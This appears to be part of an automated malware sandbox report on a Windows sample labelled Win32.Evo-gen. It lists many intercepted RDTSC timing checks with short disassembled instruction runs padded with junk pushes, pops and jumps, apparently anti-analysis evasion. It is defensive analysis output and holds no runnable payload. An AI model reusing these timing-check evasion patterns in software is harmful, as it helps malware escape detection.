Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DF66EA second address: DF66F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DF66F0 second address: DF66F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DF69B6 second address: DF69C7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC734E5F77Bh 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DF69C7 second address: DF69CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DF6CFA second address: DF6D1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC734E5F77Ah 0x00000009 jmp 00007FC734E5F77Fh 0x0000000e jl 00007FC734E5F77Ch 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DF6D1F second address: DF6D2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 js 00007FC73488208Ch 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DFF3AA second address: DFF3AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DFF3AE second address: DFF3B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DFF3B8 second address: DFF3BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DFF3BC second address: DFF3D0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC73488207Ah 0x00000007 jbe 00007FC734882076h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DFE837 second address: DFE866 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push ecx 0x0000000a jno 00007FC734E5F776h 0x00000010 pop ecx 0x00000011 jmp 00007FC734E5F782h 0x00000016 popad 0x00000017 push ebx 0x00000018 push eax 0x00000019 push edx 0x0000001a jnc 00007FC734E5F776h 0x00000020 push esi 0x00000021 pop esi 0x00000022 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DFE9AD second address: DFEA0C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007FC734882076h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b jmp 00007FC734882085h 0x00000010 popad 0x00000011 jmp 00007FC734882088h 0x00000016 pop edx 0x00000017 pop eax 0x00000018 pushad 0x00000019 jmp 00007FC734882081h 0x0000001e jnc 00007FC73488207Eh 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DFEA0C second address: DFEA10 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DFEB3F second address: DFEB43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DFEB43 second address: DFEB4B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DFEB4B second address: DFEB63 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC734882082h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DFEB63 second address: DFEB69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DFECB1 second address: DFECB7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DFECB7 second address: DFECC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jg 00007FC734E5F782h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DFECC5 second address: DFECCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DFECCB second address: DFECCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DFECCF second address: DFECE5 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FC73488207Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a jnl 00007FC734882076h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DFECE5 second address: DFECE9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DFEE3E second address: DFEE42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: DFF0F9 second address: DFF0FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: E07C99 second address: E07C9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: E08426 second address: E0842E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push edx 0x00000007 pop edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: E0842E second address: E08432 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: E085A0 second address: E085BE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC734E5F788h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: E085BE second address: E085C3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: E08742 second address: E08748 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: E08748 second address: E0874E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: E103B2 second address: E103D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FC734E5F77Dh 0x0000000c jmp 00007FC734E5F77Ah 0x00000011 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: E103D0 second address: E103EF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC734882088h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: E10687 second address: E10694 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: E10694 second address: E10698 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: E10698 second address: E1069C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: E27D8F second address: E27DA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jl 00007FC734882076h 0x00000011 jl 00007FC734882076h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: E27DA6 second address: E27DAA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: E27DAA second address: E27DBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC73488207Bh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: E27DBB second address: E27DCE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FC734E5F77Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: E2F5D0 second address: E2F5D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: E2F5D6 second address: E2F5E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 ja 00007FC734E5F77Eh 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: E3687D second address: E3689E instructions: 0x00000000 rdtsc 0x00000002 js 00007FC734882076h 0x00000008 jmp 00007FC734882087h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: E36A09 second address: E36A0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: E36A0D second address: E36A11 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: E36BB2 second address: E36BB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: E36BB6 second address: E36BD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FC734882085h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: E36BD1 second address: E36BD7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: E36BD7 second address: E36BDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: E3702A second address: E37051 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 pushad 0x00000008 jmp 00007FC734E5F781h 0x0000000d push eax 0x0000000e jmp 00007FC734E5F77Bh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: E371A2 second address: E371C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FC734882076h 0x0000000a push edx 0x0000000b pop edx 0x0000000c popad 0x0000000d pushad 0x0000000e push eax 0x0000000f pop eax 0x00000010 pushad 0x00000011 popad 0x00000012 push esi 0x00000013 pop esi 0x00000014 jmp 00007FC73488207Dh 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: E37341 second address: E37349 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: E37DC7 second address: E37DE5 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jc 00007FC734882076h 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b pop ebx 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push edi 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FC73488207Bh 0x00000016 push edx 0x00000017 pop edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: E37DE5 second address: E37DE9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: E3BAA5 second address: E3BAB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FC73488207Eh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: E3BAB8 second address: E3BAD3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC734E5F787h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: E48371 second address: E48375 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: E48375 second address: E48383 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: E48383 second address: E48387 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: E48387 second address: E4838B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: E4838B second address: E4839A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FC734882076h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: E4FBBB second address: E4FBC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: E62623 second address: E62627 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: E62627 second address: E6262B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: E6262B second address: E62631 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: E62631 second address: E6264E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC734E5F782h 0x00000007 pushad 0x00000008 je 00007FC734E5F776h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: E7B568 second address: E7B575 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a pop edi 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: E7A2EB second address: E7A2EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: E7A2EF second address: E7A2F5 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: E7A2F5 second address: E7A2FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: E7A46E second address: E7A474 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: E7A474 second address: E7A478 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: E7A478 second address: E7A47C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: E7A47C second address: E7A4A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FC734E5F77Ch 0x0000000d pushad 0x0000000e ja 00007FC734E5F77Ah 0x00000014 push eax 0x00000015 push edx 0x00000016 jl 00007FC734E5F776h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: E7A4A3 second address: E7A4AD instructions: 0x00000000 rdtsc 0x00000002 je 00007FC734882076h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: E7A4AD second address: E7A4B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push edi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: E7A789 second address: E7A78D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: E7A78D second address: E7A79D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jnc 00007FC734E5F77Eh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: E7A79D second address: E7A7AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push edx 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: E7A7AA second address: E7A7C5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC734E5F77Fh 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: E7A947 second address: E7A94F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 push edi 0x00000007 pop edi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: E7A94F second address: E7A992 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC734E5F787h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jg 00007FC734E5F778h 0x0000000f pushad 0x00000010 popad 0x00000011 pop edx 0x00000012 pop eax 0x00000013 pushad 0x00000014 jns 00007FC734E5F787h 0x0000001a push eax 0x0000001b pop eax 0x0000001c jmp 00007FC734E5F77Fh 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 popad 0x00000025 pushad 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: E7A992 second address: E7A9A3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC73488207Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: E7AE6E second address: E7AE81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jc 00007FC734E5F776h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: E7AE81 second address: E7AE85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: E7AE85 second address: E7AE91 instructions: 0x00000000 rdtsc 0x00000002 je 00007FC734E5F776h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: E7CC08 second address: E7CC0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	RDTSC instruction interceptor: First address: E7FAF1 second address: E7FAFB instructions: 0x00000000 rdtsc 0x00000002 jg 00007FC734E5F776h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
